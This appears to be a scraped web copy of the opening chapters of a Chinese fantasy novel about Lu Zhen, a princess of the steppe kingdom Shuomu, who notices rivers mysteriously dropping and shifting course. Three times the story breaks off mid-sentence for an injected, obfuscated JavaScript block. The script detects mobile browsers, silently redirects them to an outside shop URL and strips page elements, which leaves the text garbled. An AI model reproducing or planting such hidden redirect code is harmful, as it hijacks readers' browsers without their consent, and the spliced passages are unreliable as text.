《水系异闻录:我在敌国当侦探》 1. 异变初显 太阳从山头爬起,阳光一寸寸覆盖上无际的草原。日出而作的獭子刚钻出洞口,就被一阵由远及近的马蹄声吓得缩回洞穴。 不多时,一匹骏马跃上小草丘,黑曜石般的毛发在太阳的照射下反着缎子一样的光,一看就是平时被人精心照料着的。 马上的人似是被初升的太阳晃了眼,用手轻轻搭在右脸旁,望向不远处的河流。 “到苍耳河了,乌雅,看来今天日落前我们就能到临潢府了。”马上的人俯下身去拍了拍座下黑马的脖子,轻轻夹了一下马腹,一人一马便向北边的苍耳河奔去。 苍耳河是朔木国上京临潢府旁最大一支河流潢河的分支,过了苍耳河便也离临潢府不远了。 女子下马来到河边,捧起微凉的河水洗了洗脸,盯着河水像是在沉思着什么。片刻后河水重回平静,映出一张英气十足的面孔,数月的奔走晒黑了女子的脸庞,但离家的距离越来越近也让倦容上有了些微的笑意。 站起身,河水便也照清了女子的全貌。 女子身着黑色摩羯纹圆领锦袍,戴了一串红玛瑙琥珀项链,左手臂上还绑着个金臂鞲,忽略微微凌乱的编发,看着甚是富贵。 更惹眼的还是那块刻着朔木小字“宜速,敕走马牌”的金符,以及一小块用螺钿装饰、光彩流转的圆形木牌。微风拂过,木牌被轻轻吹起,翻转了个个,露出她的名字“卢轸”。 卢轸用衣袖擦了擦眼睛,转身走向乌雅,卸下了它的马嚼子和系着弓韬胡禄的金银错云雁纹马鞍以及连带着的一干行李,“好乌雅,快歇一歇,都赶了半宿路了,明天是个大日子,我们今天一定得赶回去,辛苦你了,今晚给你备上多多的豆料。” 说完,卢轸席地而坐,从随身的招文袋里翻出南下巡查这段时间记录的各州县的军政诸事,思忖着如何向姐姐具陈。 “唳——”忽的一声长啸划破天空,一只浑身雪白的矛隼振翅从南面飞来,盘桓在一人一马的上空。卢轸伸直手臂,射玉俯冲下来,稳稳地停在臂鞲上。 卢轸仔细看了看射玉的爪子和喙,也不知道是哪个倒霉的野兔或是獭子,早上一出门就碰上了这活阎王,喙上的血迹都还没干。 “还没唤你就来了,既然吃饱了,先回去报信吧。”卢轸把刚写好的纸条卷成卷塞进射玉爪旁的小竹管里,手臂一扬,射玉重新回到了天空,慢悠悠地朝临潢府的方向飞去。 距离苍耳河二百多里外的临潢府。十四岁的鲜鸷早起就跑到姐姐重辇的五銮殿外观望,却是等了半晌也不见有送信的人进来禀报,在殿内来回踱步的样子扰得重辇没法看奏札。 重辇放下手中毛笔,对着弟弟说:“你阿姐今日一定能赶回来,左右不过几个时辰的事,又不是第一次出远门了,一大早就来我这里梗着脖子地等。前日韩先生还告了你的状,说你最近人跟飘了一样,心思全然不在读书上面,回去多看看书,别在这里碍眼了。” 说着就要把人赶出宫殿,鲜鸷还想再争取一下,台阶上的重辇头都没抬又说了一句,“最近学的《盐铁论》需得背熟,三日后我亲自检查。” 鲜鸷无法,出了宫城来到城北的宫帐继续等消息。 鲜鸷坐在卢轸宫帐里的那把紫貂皮靠背椅上,一边背书一边向外张望。 卢轸的侍女小狸依着吩咐勤勤恳恳地添了七趟奶茶,跑了三次营口打探消息。终于在鲜鸷叹完第二十一次气后,小狸看到帐子外面的鹰架上,刚飞回来的射玉正在用喙梳理自己的羽毛,“回来了回来了,射玉回来了!” 听到小狸的喊声,鲜鸷急切地从帐子里走出来,自己居然忘记了射玉是会提前飞回来报信的,真是等昏了头了。 来到鹰架旁,抽出射玉爪旁的小纸条,快速看完,继而爆发出爽朗的笑声,“哈哈哈哈哈,阿姐申时就能到了,快快快,小狸跟他们说快把羊烤上,我先去告诉姐姐。”说完,翻身上马,朝着宫城骑去。 太阳西斜,城外宫卫骑兵的军营前。人影越拉越长,鲜鸷抬头看看天色,“马上都酉时了,阿姐怎么还没到。” 蹲坐在地上的绣球突然站起身,微微耸动鼻子便朝着南边跑去了。“应该是来了。”鲜鸷呢喃一句,虽然还没看到人,但是草原敖犬的鼻子总比人的灵敏,便拍马跟了上去。 卢轸正因为路上耽搁了点时间,急着朝上京赶去,却见绣球迎上前来,后面跟了二十多骑身着皮甲的精壮汉子,为首的正是自己的弟弟鲜鸷。 “阿姐!”“大王——”多道声音同时响起,“免了免了,不用行礼,天色不早了,回宫城先见过大君。”卢轸说完,策马上前,众人让出一条道,齐齐转变马头,一起朝城内奔去。 一行人刚进入内城不久,就碰上了早早在此等候的宿卫司总宿卫事奇凛大人,“二位大王稍歇,大君行在已到漆水王宫帐,还请二位大王移步。” “那敢情好啊,还是姐姐心疼我,正好一会儿不用再挪地方了。”卢轸笑着说道。 “哟哟哟,我从白天等到了晚上,眼珠子都差点瞪出来,阿姐你也不说一句好话与我听。”鲜鸷双手抱臂,打趣着自己的姐姐,连座下的金络也跟着打了个响鼻。 卢轸无奈地笑着道:“是是是,麻烦我家弟弟了。”鲜鸷刚扭到一边的头又扭了回来。“还请奇凛哥头前引路。”卢轸客气的说着。 说是引路也算不上,实则是回家,回卢轸自己的宫帐。 临潢府,也被称为“上京”,是朔木国五京中最重要的一座。整个城池呈“日”字形的双城并立格局,南边为汉人、渤海人、回鹘人居住的汉城,有着许多手工作坊以及最热闹的“北市”。隔着戈洛河向北则是朔木人的居住地,宫城内是仿着中原样式造起来的宫殿,但宫门和几个重要的宫殿都是呈东向布局。城北则是大块大块的空地,搭着连片的毡帐,护卫府和硬寨司的士兵及其家人平时就生活在这里,其中就包括卢轸的漆水王宫帐以及鲜鸷的饶乐王宫帐。 比起宅子,卢轸更喜欢睡在帐子里的柔软兽皮上。每次起身,七步之内就能拿到自己想要的所有东西,要比那四四方方,空空荡荡的大宅子方便安逸得多。 十三岁时的卢轸对着姐姐说了自己的看法,重辇发笑,却也依旧在内城最好的地段给妹妹盖了一间王府,时不时督催卢轸回来住两天,以全礼法。 后来鲜鸷跟着卢轸也是有样学样,两座王府平日里冷冷清清,只有下人们日常洒扫。每次卢轸从外面回来,最想念的就是自己那个几张大兽皮缝在一起做成的床铺,必定是要回宫帐里歇息的。 一行人很快到了宫帐营,营口的士兵见到了卢轸,回头对同伴高声说道:“快去禀报大君,二大王和三大王回来了。” 众人在营口下马,卢轸对着跑来牵马的小狸说道:“给乌雅多放点豆料,马鞍上面的行囊卸下来之后送到我的帐子里去。”小狸点头应下。 奇凛走在前,姐弟俩在后面勾着头不知道在小声说些什么。 卢轸首先发问:“姐姐和奇凛哥现在是什么情况,我都走了大半年了,还以为回来就能吃上婚宴呢。” “这我哪知道,我也不敢问呐,我一问姐姐就让韩夫子给我加课业。” “你天天在上京都是吃着睡着过来的吗?姐姐你不敢问,奇凛哥你总能问了吧。” “那我不吃不睡也长不高呀,哎哎,别踢我呀,我可比阿姐你走之前高了两寸多呢,我问了奇凛哥他不说我有什么办法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488250|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 卢轸退后一步看了一眼鲜鸷,确实,刚才在马上看不分明,鲜鸷的个子已经隐隐有超过自己的架势了。 “我早早就挑好了羊烤呢,阿姐你有没有给我带礼物啊。” “礼物让小狸拿给你,快走快走,我都想这口羊肉想好久了。” “阿姐你还说我,你也喜欢吃。” 姐弟俩说着闹着走到了大帐前。奇凛站在帐下说:“烤羊已经备好放在里面了,大君请二位大王进去。”卢轸看着奇凛公事公办的态度,和鲜鸷对视了一眼,嗯——有古怪。 撩开帐帘,延寿大君重辇正在牛皮地图前站着,仔细端详地图上的细节。 “姐姐。”二人握拳行礼,重辇回身,招呼着姐弟俩,“回来了,羊肉一直温着呢,快来。” 盛着烤羊肉的金花银盘下面泡着热水,卢轸拿起旁边的湿帕子快速擦了擦手,撕下了一条羊腿。等卢轸咽下去两口羊腿肉,重辇才开口,“比走之前瘦了,黑了,也憔悴了。” 鲜鸷用小刀剔着羊排上的肉,没有抬头,接上了姐姐的话茬,“没事的姐姐,这个月我亲自去打猎,什么野豕、狍子都能猎来,再找汉城的厨子来做菜,他们手艺多,包管一月之内给阿姐补回来。” 卢轸放下已经少了一大块的羊腿,缓缓说道,“怕是待不够一个月了。” “可是有什么事发生。”重辇咽下一口咸奶茶后发问。 卢轸擦了擦嘴继续说:“今天回来的路上,经过苍耳河,河水刚刚到乌雅的附蝉,延寿十二年我去丰州巡查西南招讨司的时候也经过了苍耳河,那个时候过河,靴子差点都会湿掉,乌雅已经快七岁了,却是长不了个了。” 重辇和鲜鸷心下了然,朔木贵族对于河水的变化总是有一种超乎寻常的直觉。乌雅没长个,那自然就是苍耳河的水位下降了。 “按往年记录在册的水位,苍耳河现在的水位该是……三尺有余,”鲜鸷在心中默默推算出水位,“现下虽已快到九月,怎么会刚过附蝉呢?” “确实如此,我把途径河流的深度都探了一遍,让小狸把记的木牍拿进来。”卢轸说着便要招呼小狸进来。 重辇挥手打断了卢轸:“你才刚回来,公事不急于这一时,今晚早些歇息,父亲那边也传话了不用急着去见,明天是大日子,等木叶仪结束再说。” 卢轸应下:“是,明日必定劳心又劳身,姐姐也快快回去吧。” 重辇转头看向鲜鸷,鲜鸷马上表态:“我今晚也要睡毡帐,保证不吵到阿姐休息。” 重辇无奈,只得自行离开。 在姐弟俩吃完大半只羊之后,小狸拿来了卢轸给鲜鸷新寻来的一把柘木弩机。鲜鸷拿到手上把玩,弓臂上缠了生丝,鱼鳔熬制的胶把鹿筋、牛角和弓臂紧紧粘合在一起,最外面还涂了生漆。鲜鸷爱不释手,乐不可支对卢轸说道:“阿姐这是《六典》里说的擘张弩吧?看着和咱这的工艺不太一样。” 卢轸点头:“据说是前朝宫中的将作监制成的,我试过了能射二百六十步远。” 鲜鸷继续发问:“阿姐没给姐姐带东西吗?” “当然带了。” “那为什么刚才没给姐姐?” “傻呀你,交给奇凛哥带给姐姐不是更好吗?” “喔——”鲜鸷一声长气还没叹完,便被卢轸以要沐浴歇息为由请出了大帐。 “小狸,明日的衣服可备好了?”卢轸终于躺到了自己的兽皮大床上,上下眼皮一直打架,却还在问小狸明天关于木叶仪的事情。 小狸正准备息掉帐内的烛火,“已经备好了,大王快些歇息吧。” “好……”好字刚说完,困极的卢轸就睡了过去。 2. 木叶神树 延寿十四年九月朔日,临潢府外木叶山,朔木国三年一次的祭祀吉仪。 山底的祭坛上,七丈高的木叶树静立在此处,纸质薄叶,树干拳曲,树冠广展,独木成林。这种高大的阔叶树木本不该生长在北地,却在朔木人的照料下扎根木叶山二百多年,四季常青。 大批士兵手持骨朵围在祭坛周围,祭坛口种了两棵雪松充当神门,从入口到祭坛的神道上种植了许多其他的树,象征着官员们上朝时的队列。白马、黑牛、红羊等祭祀用的牲畜也早早备好系在了树下。 重辇头戴着用犀牛角和玉石错金装饰的金冠,身穿金丝织就的白色凤纹袍服,系着绛带,悬挂鱼饰,脚蹬络缝乌靴,骑马来到祭坛口,翻身下马。 卢轸和鲜鸷则穿着纹有雁衔绶带的红锦袍站在文武大臣的最前面。重辇带领众臣前往神树下致奠。礼官读完祝文后,重辇跪在木叶树下,开始诵读朔木国的历史以及这三年的政绩,这是从第一代朔木大君开始就流传下来的仪式。 二百多年前的潢水边还没有上京城,朔木国的先人生活在此处西北方向的漆水河畔。逐水草而居的部落有很多,乞奚部是其中最小的一支。 当时的老首领只有一个女儿,名叫理朵,嫁给了临近部落羽陵部的首领丹直,两个部族后来合二为一。理朵其人果敢有智谋,多次帮助丹直抵御了其他部落的劫掠,并且很好地处理了部落内部的冲突,在部落中威望很高。 一年部落的驻地大面积干旱,漆水河水位一直下降,理朵劝丹直尽快带领部落转移,寻找新的水源。丹直却不相信漆水河会断流,不愿离开祖辈生活的地方。理朵无奈,向族人陈明水源现状,召集了部落里愿意迁徙的族人带上女儿向东南方向转移。 一路上靠着骆驼寻找到了零星的水源,但都不是宜居的条件。在又一次整顿好行装的清晨,一只口衔绿枝的金鸟落在了乞奚族的大纛上,见理朵走出帐篷,便飞上天空盘旋,理朵认为这是太阳神的指引,带领族人跟随金鸟飞行的方向朝东迁移。 行至潢水,金鸟再次盘旋,将口中的绿枝吐出,绿枝落在了潢水河畔的小山丘上。理朵在金鸟的指引下以血滴浸润绿枝,绿枝生根扎入土地。乞奚部就此定居下来。 理朵立即派人回到漆水河旁的旧驻地寻找丈夫以及其他族人,不得索,只剩下大量辎重和牲畜的尸体。后来乞奚部宽容接纳了从不同地方逃荒而来的草原游民,实力逐渐壮大。 在与其他部落争夺草场的过程中,理朵利用附近凤山上的盐池为饵佯装议和,在宴席上杀死了其他部落的首领,武力收编了残余势力,从此草原上再也没有乞奚部的对手了。 乞奚部的圣物——木叶神树,可以维持草原水系的稳定。却是有一条,每隔三年需要理朵的鲜血供养以维持常青状态和固土保水的功能,旁人鲜血则无此效用,族人都深以为奇。 在乞奚部第一次祭树的木叶仪上,理朵宣告建立朔木国,族人为其上尊号为奇首大君。后来木叶仪的时间几经更改,最后定在了每三年的九月初一。朔木国之后的大君之位由可以以血供养木叶树的理朵女儿以及女性后裔继承,代代相传。 “——祈我家国,永祗升平。尚飨。”祭文读完,太巫将酒浇在祭祀用的牲畜身上,杀牲割肉,悬挂在木叶树的枝干。 接着便是木叶仪中最重要的部分,重辇接过礼官手上的小刀,刀刃划过手掌,重辇握住了木叶树裸露在地表的树根…… 卢轸的头抵在手上,跪在重辇不远处,默默在心中计着时间。半盏茶的功夫快过去了,还没等到礼官的一声“兴”,卢轸不由得悄悄抬头看向姐姐。 重辇的脸色微微发白,好在木叶树主干上落下了一片树叶——这是仪式结束的标志。 “兴——”。 重辇用树叶敷在伤口处,血立即止住了。慢慢站起身,脑子忽地一片漆黑,重辇不由得踉跄了一下。卢轸和奇凛冲上前一左一右扶住了重辇。 仪式结束了,奇凛护着重辇乘车返回,卢轸和鲜鸷则骑马跟在车后。 卢轸忧心地说:“这次祭血的时间比之前长了。” “确实,又是一件怪事。”鲜鸷肯定地说。 朔木国延寿大君重辇,年二十四,正是春秋鼎盛的时候。按理说,只有祭血人上了年纪抑或身体状态不佳,祭树所需鲜血才会加量。 而“祭血”这一传统在两百多年的时间里,逐渐演化成了一种极具政治意义的仪式,历代大君都会亲自完成,从不假手于人,这也是大半朔木大君享寿不高的原因。 卤簿仪仗到了宫城,重辇换了专在宫内行走的小轿。重辇坐在轿上还欲再说什么,卢轸便看到了奇凛哥纠结的神情,轻轻捣了一下鲜鸷的胳膊。 鲜鸷会意,马上接着说:“姐姐先歇息半日吧,今日仪式颇费心神,千头万绪都得养好身子再理,我先陪阿姐去看望父亲,明日一早就来五銮殿找姐姐议事。” 卢轸附和道:“正是这个理,姐姐且宽心歇上半日,明日我们就和姑姑一起进宫议事。” 木叶仪后,朔木全国大假三日,只是重辇从十岁即位开始到今日的五次木叶仪后都没有休息过。 两个小的加上身边这个都劝自己休息,重辇终于点了头,身旁站着的奇凛微不可查地舒了口气。 姐弟俩没有马上出宫,在宫城南边的大顺门旁一边聊这些天遇到的怪事,一边等奇凛。刚才奇凛急着送重辇回寝殿,卢轸没和他说上话,只得唤了一个小黄门给奇凛捎话。 约莫不到两柱香的时间,奇凛赶来,“二位大王对不住了,适才大君刚用完药膳歇下,故而来得迟了些。”边说边抱拳行礼致歉。 “无妨无妨,我二人在此议事,一刻也没虚度,”卢轸满不在乎地说着,“只是奇凛哥,你和姐姐最近是闹别扭了吗?” 奇凛没想到卢轸是要说这个事,“确是有了些别扭,只是尚不可言明,还请大王莫要再问了。”说完又行了一次礼。 奇凛在重辇十五岁时就被选中进了御帐宫,贴身保护重辇的安全,此后更是一路升到了现在总宿卫事的位置,还监管着大君的亲军——两万番汉精锐组成的属珊军。 之前重辇也透露过几次口风,卢轸和鲜鸷都认定了奇凛是自己的姐夫。只是奇凛像个锯了嘴的葫芦,任是姐弟俩使出浑身解数都没问出二人如今的进展到底、何时举行婚仪。 卢轸无奈,转身唤来小狸,接过小狸手里的包袱对奇凛说:“这是在析津府里一位老医师那寻得的药膳方子,以后姐姐的身子还请姐夫多多上心了。” 后半句话说得奇凛脸上一红,准备接过包袱的手顿了顿。 鲜鸷颇有眼色地帮忙把包袱转移到奇凛停在半空的手中,还不忘接上一句:“是啊姐夫,早日当上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488251|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽陵大王,我和阿姐还想喝你的喜酒呢。” 两人直把奇凛说得连连告退,连辞谢都忘记了。 卢轸和鲜鸷接着来到汉城辅兴坊,两人的父亲,郁久,就住在这里。 府里的管事早早得了消息,候在门口等着两人,“二位大王可算来了,今日大人特意请了通化坊杏花楼的李厨子掌勺,都是平时排队也吃不到的菜色呢。” “哦,那有口福了。”卢轸微微一笑,自顾自穿过一片连廊,四下观望,“父亲身体如何,可有请宫中太医来请过平安脉?” “好着呢好着呢,大君安排得十分妥帖,每月初五、十五、二十五都有太医来府上请脉。”管事跟在卢轸和鲜鸷后面答道。 “府中用度可有短缺?”卢轸继续发问。 “都够用,大君和柳城王每月都有送来份例。”管事的脸上有了点小汗珠。 “莫要起一些不该有的心思,知道你前面的那个怎么没的吗?”鲜鸷敲打着管事。 “小人省得,一直都小心伺候着。”管事擦了擦汗,小心地应承着。 自前归善大君申遥崩逝,郁久帮助即位之初的重辇坐稳位置后,便要搬出宫城。按朔木国礼制,郁久是可以继续住在宫中的。重辇几次来劝,始终无法扭转郁久的心意,便在临潢府汉城的其中一坊内,为继父建造了一座精致的汉风宅院,并将坊名改为辅兴坊,来彰显继父对新朝的匡扶之功。 虽说郁久搬出了宫城,但平日的月例以及宫里额外的赏赐就没断过。 那次正好是七月二十五,卢轸巡视皮室军后回城,在看望父亲的路上碰到了刚请完脉的林太医。卢轸本欲问问太医父亲的身体状况,却被林太医遮遮掩掩地告知,父亲的府里怕是有古怪,过于“清雅”,像是出了内贼。 卢轸将信将疑地走进父亲的府邸,没有理会管家菊花似的一张笑脸,四下观察一番,就叫随身的宫帐军士将管家绑了起来。 起初管家还不认罪,最后卢轸请来临潢府的府兵查到了管家在城内私设的一处小院子,找到了诸多赃款和一支还没来得及变现的青瓷官窑飞鱼水盂。 “哟,还是个识货的。”卢轸看着管家冷哼一声,“府尹大人,此人盗窃我父亲御赐摆件和书画,还请大人速速处置吧。” “是是是,还不快拉下去,杖杀。”府尹大人一声令下,管家便被两个府兵拖了下去,哀叫几声,不一会便没了声息。 府尹大人在心中暗骂,“其蠢如猪,满上京城谁不知道,郁久大人是两位大王的生父,大君又及其重视这位继父,逢年过节宫里的赏赐从来都没停过。郁久大人喜汉文化,平日都泡在房里研习诗画经文,对管家之类的庶务并不在意,两位大王也是知道父亲喜好清静,便不常来打扰。这杀才居然把主意打到这上面,要是因为这事影响了自己的仕途,杖杀都便宜他了,还好三大王不知道此事,不然怕是没法善了。” 果不其然,等到从怀州回来的鲜鸷知道了此事,直叫嚷着要把管家扒出来再杀一遍。现任管事可是听过两人的事迹,调来之后自然小心翼翼地办差。 卢轸在府中转了转,一应事物安排得确实圆满周到,便摘下腰间挂着的玉组佩赏给了管事,管事小心捧过,连道了几声“多谢大王”。 “不用跟着了,我二人自己走。”遣退了管事,卢轸和弟弟自行走向了父亲起居的小院。 3. 家事国事 熟门熟路地穿过一个宝瓶门,卢轸二人来到了父亲日常起居的小院。席面没有摆在前面的正厅,这是郁久的习惯,说是怕收藏的古籍沾染了饭食的味道。 赞华院门洞大开,微风裹挟着饭香从院内散出,引得卢轸和鲜鸷不由得加快了脚步,倒是惊了停在院内栾树上的一只灰喜鹊,扑棱着的翅膀带下了树上几朵三叶合抱成的“小灯笼”。 “是卢轸和鲜鸷来了吗?”一道温和的声音响起。 卢轸跨越房门道了声“父亲安好。”鲜鸷跟着行了个礼。 “一切都好。此番南下可还顺利?”郁久穿了件右衽襕衫,头发也束了起来罩在儒巾里面,从书桌旁起身,向圆桌这边走来,一番“才子词人,白衣卿相”的韵味,让人恍若置身南朝。 “当然顺利,札子都已经送到宫里等姐姐看了。父亲院里的栾树真是不错。”卢轸由衷发赞,却隐下了那几件怪事,她不想让父亲那么早知道。 “‘风高大夫树,露下将军药’。当初千挑万选,还好没白费心思。”郁久对自己置办的小院颇为满意。 “《周礼》有言:天子树松,诸侯柏,大夫栾,士杨。父亲一身才华不能施展,甚是可惜。当初父亲辅佐姐姐即位,才略器识众臣皆有目共睹。如今父亲可还愿意出仕?”卢轸又一次劝起了父亲。 郁久已辞了所有爵位官职,赋闲在家,每日潜心钻研诗文,只是重辇有时还会来此跟郁久讨论国事。 郁久摇了摇头,“当年为了完成你们母亲临终嘱托,这才又忝居宫中两年。你姐姐坐稳位置之后,我不想在那个伤心地再多待一刻了,如今有你们姑姑帮衬着,我也就放心了。” 说的是申遥临终时的那间宫殿,也是申遥和郁久之前在宫中的寝殿。当年那次木叶仪后,申遥怀上了鲜鸷,郁久劝说申遥先养好身子再考虑子嗣的事情,母亲却不舍腹中已三个月的小生命。后来父亲到底没有扭过母亲,只能在日常起居饭食上多留心,可母亲最后还是身体空虚,拼了命生下鲜鸷后,撒手人寰。 说到伤心事,两人沉默。鲜鸷适时地开口,“菜马上凉了,再不吃都糟蹋了,杏花楼的水晶肘子平时可难得吃上一次,父亲和阿姐不吃,可得许我先动筷了。” 刚才开头夹杂诗文的寒暄,鲜鸷可不想插话,不然少不又得被父亲考教功课。虽说《周礼》韩夫子已经教过,但他可不敢保证自己全部记住了。韩夫子说他一颗玲珑心,几乎全长在军务上了,偏偏诗文不得法门。 气氛回暖,郁久招呼着一双儿女动筷。浑羊殁忽、光明虾炙、消灵炙、冷蟾儿羹、毕罗……都是些费时费力的菜,这杏花楼的厨子是有几分真本事在身上的。 “父亲可知姐姐最近和奇凛哥有些不对?听鲜鸷说是从一个月前开始的,奇凛哥陪在姐姐身边已经快十年了,如今官至总宿卫事,这位置不是大君的兄弟姐妹,便是羽陵王可当得了,何事能让他们闹别扭?”卢轸放下筷子,终于忍不住问了出来,鲜鸷不知道,奇凛哥不说,若说还有谁能了解内情,便只有父亲了。 朔木大君的夫婿封号皆为“羽陵王”,这是朔木国第二任大君为夫婿选择封号时,思及父亲所设,历代沿袭,逐渐成为定制。二人的父亲郁久和重辇的父亲鹫山都曾做过羽陵王。 郁久斟酌着开口:“说起来是你姐姐的问题,本来你姐姐想在木叶仪过后便准备着……嗯,求子,奇凛不愿。” 卢轸心下了然,虽然父亲闪烁其词,没有说得很透彻。 自古朔木大君孕育子嗣就是一件难事,三年一次的木叶仪不会因为任何事情推迟,象征着巩固君权的血祭作为祭祀仪式上最重要的环节,也必须由大君亲自完成。身子虚弱时,血祭所需血量都会增加,更何况是有孕之身。三人的母亲申遥,便是在最后三年接连诞下卢轸、主持木叶仪、再次有孕,这才年纪轻轻就与世长辞。 重辇的尊号“延寿”便是申遥弥留之际所起,当时的申遥还未到三十岁。最好的情况便是在前面的两年诞下子嗣,余下的时间将息调养。 延寿十一年,也就是上一次木叶仪之后,室韦部作乱,重辇忙着处理平叛的事情,错过了三年之间那段最佳的档口。如今姐姐怕是想早些…… 奇凛是知道归善大君当年之事的。 “这下奇凛哥怕是更不会同意了。”卢轸把今早木叶仪上的事情告诉了父亲。 郁久连忙追问:“你姐姐身子可有不妥之处?” 鲜鸷接过话茬说道:“奇凛哥方才没说,但宫中的奉宸司和御医早早就备下了益气养血的药膳,想来应该没有什么大问题。” 郁久点了点头,继续和两个孩子聊着家常。 午膳用过,小狸按照卢轸的吩咐,早早带着东西候在府外。 “父亲潜心钻研文学,这是新寻得的南朝《文苑英华》全册刻本,想来父亲应该会喜欢。”卢轸指挥着府丁把包裹好的两大包书册抱进府中。当初寻书时着实花了一番心思,卢轸提前安排人分几次悄悄从南朝关口带出。带回来的过程也很是不易,听小狸说,乌雅昨晚怒吃了一槽的豆料。 “你有心了。”郁久拍拍卢轸的肩膀,欣慰地说道。 姐弟二人别了父亲,向北边的宫帐骑去,在各自的宫帐前分开。 卢轸难得有了些独处的时间,一边把玩自己收藏的宝贝,一边想着这些天发生的事情。 卢轸其人,爱好广泛,收藏的东西品类繁多:金笼水晶带、黄桦皮缠楮皮弓、皂雕翎羱角骲头箭、白楮皮裹筋鞭、海豹皮鞯、描金凤纹鞍、玛瑙臂鞲、各式当卢、绿松镂空纹金刀……亦不乏历朝历代志怪类的书册和话本子。 东西很多,幸而卢轸走之前,嘱托鲜鸷和小狸帮自己时不时地清理一下,如今只需要做一些简单的整饬。 思绪还没完全成型,鲜鸷便又来了,“阿——姐——,出来射箭!” 果然是难得的独处时间。正好,南巡的这段时间里,为图方便,在外歇息时,都是射玉提供的肉食,卢轸未曾自己动手过。一人一隼对半着分,倒也够填饱肚子,今天正好活动活动。 卢轸提着弓走出宫帐,“今天射什么,现在这个光景,鲜柳条可是难得,到时候又输了项链可不要急眼。” 射柳是朔木贵族经常进行的游戏,参加射柳的人要把彩头挂在柳枝上,或为帽子,或为袍子,或为项链。小时候鲜鸷刚学会射箭,经常来找卢轸比试,每每输了帽子或项链,不免一番闹腾。 鲜鸷已经安排人在前面的空地上已经立了两块草靶,对阿姐又提起自己不堪回首的往事,羞恼地说:“阿姐,不是说过不提小时候的事了嘛。” “好好好,今日只射靶子吗?”卢轸在靶前站定,转移话题地问着。 “光射靶子多无趣,韩夫子月前刚跟我讲过‘养国子以道,乃教之六艺’,礼乐射御书数,这第三艺便是‘五射’了,今儿我们来比五射。”鲜鸷上上了弓弦,跃跃欲试地说。 朔木国虽是游牧起家,却也极善于吸收中原文化。朔木建国的时机,同时也是中原动乱、政权交替的窗口,很多汉人北上躲避兵祸,奇首大君对投奔的汉人选择了“因俗而治”,朝堂上分设北面官系和南面官系,南面官多数择汉人充之。 析津府以及大同府等靠近中原的州府都是按照汉制管理,连“析津”二字亦是取自《诗经尔雅》中“析木谓之津”的天文分野学说。如今教授鲜鸷课业的韩璟韩夫子,便是儒学大家玉田韩氏子弟,是重辇亲自派人去析津府请来的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488252|202115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 二人约好彩头,小狸主持,比试开始。 第一试,白矢,要求箭穿靶子并露出其箭镞。二人皆下沉肩膀,扎稳马步。“咻咻”两声后,小狸喊人抬起箭靶,展示背面露出的箭簇。 “第一局,平!” 重新安放箭靶的间隙,卢轸问鲜鸷,“你怎么看待水系之事?” “我回去仔细查了从延寿五年开始的记录,几条大河中,越往南的河流,相同月份的水位与以前相比波动越明显,只是河水水量巨大,差了一毫一厘,当地官员便也没有察觉。”鲜鸷一边调试着弓弦,一边回答姐姐的问题。 “姐姐是如何注意到水位异常的,有何契机吗?”鲜鸷发问。 “箭靶好了。”卢轸看向前方,又一次挽弓。 第二试,参连,要求前放一矢,后放三矢而去,矢矢相连。鲜鸷率先放弦,卢轸紧随其后,二人箭靶皆呈连珠之相。 “第二局,平!” 卢轸再次开口,“南下到析津府时,遇到一奇事,城内显忠坊的高梁河段上欲建一座小石桥,官府作为东家出资,在工期过半时派人去现场查看施工进度,却发现石桥一侧的桥堍和踏板石都建在了河面上。官兵指责工匠私改图纸,工匠却说就是按照最初图纸上的选址修建的。官府要把工匠索拿下狱时,我正巧路过,仔细比对了桥堍和图纸上的位置,确实没错。” 鲜鸷追问:“那是何原因,官府总不能蠢到把桥堍选在河上吧,这可如何过人?”卢轸正欲回答,却见那边小狸挥了旗子。 第三试,剡注,要求在箭落地之前,上弦放箭而中。小狸把箭举过头顶,骤然松手。二人搭弓上箭,短促瞄准后,箭便成头低尾高的样子出现在了靶子上。 “第三局,平!” 卢轸接着说到:“因为高梁河在一夜之间改了河道,向南弯了三尺有余。” “这怎么可能!”鲜鸷反驳道。 “确实如此。”卢轸点了点头,肯定了自己的说法,“我已经勘察过河道了。” 这次箭靶上面各只有一支箭,小狸很快便拔干净了。 第四试,井仪,要求四矢连发,组成井字形状。两人都拿了四支箭在手中。只是这次,卢轸的“井”字却没有鲜鸷的美观了,许是好久未持弓,手生了。 卢轸看着箭靶上的箭,大笑起来,“哈哈哈哈哈,吾弟当为养由基!” 五射的最后一试,襄尺,要求君与臣同射,臣让君一尺而退。姐姐重辇没来,自是不必比了。 卢轸看到弟弟进步了这么多,知自己走的这段时间里,鲜鸷私下肯定没少练习,便换掉了刚才商量好的彩头,唤来小狸,“把我那条青玉的蹀躞带拿来。” 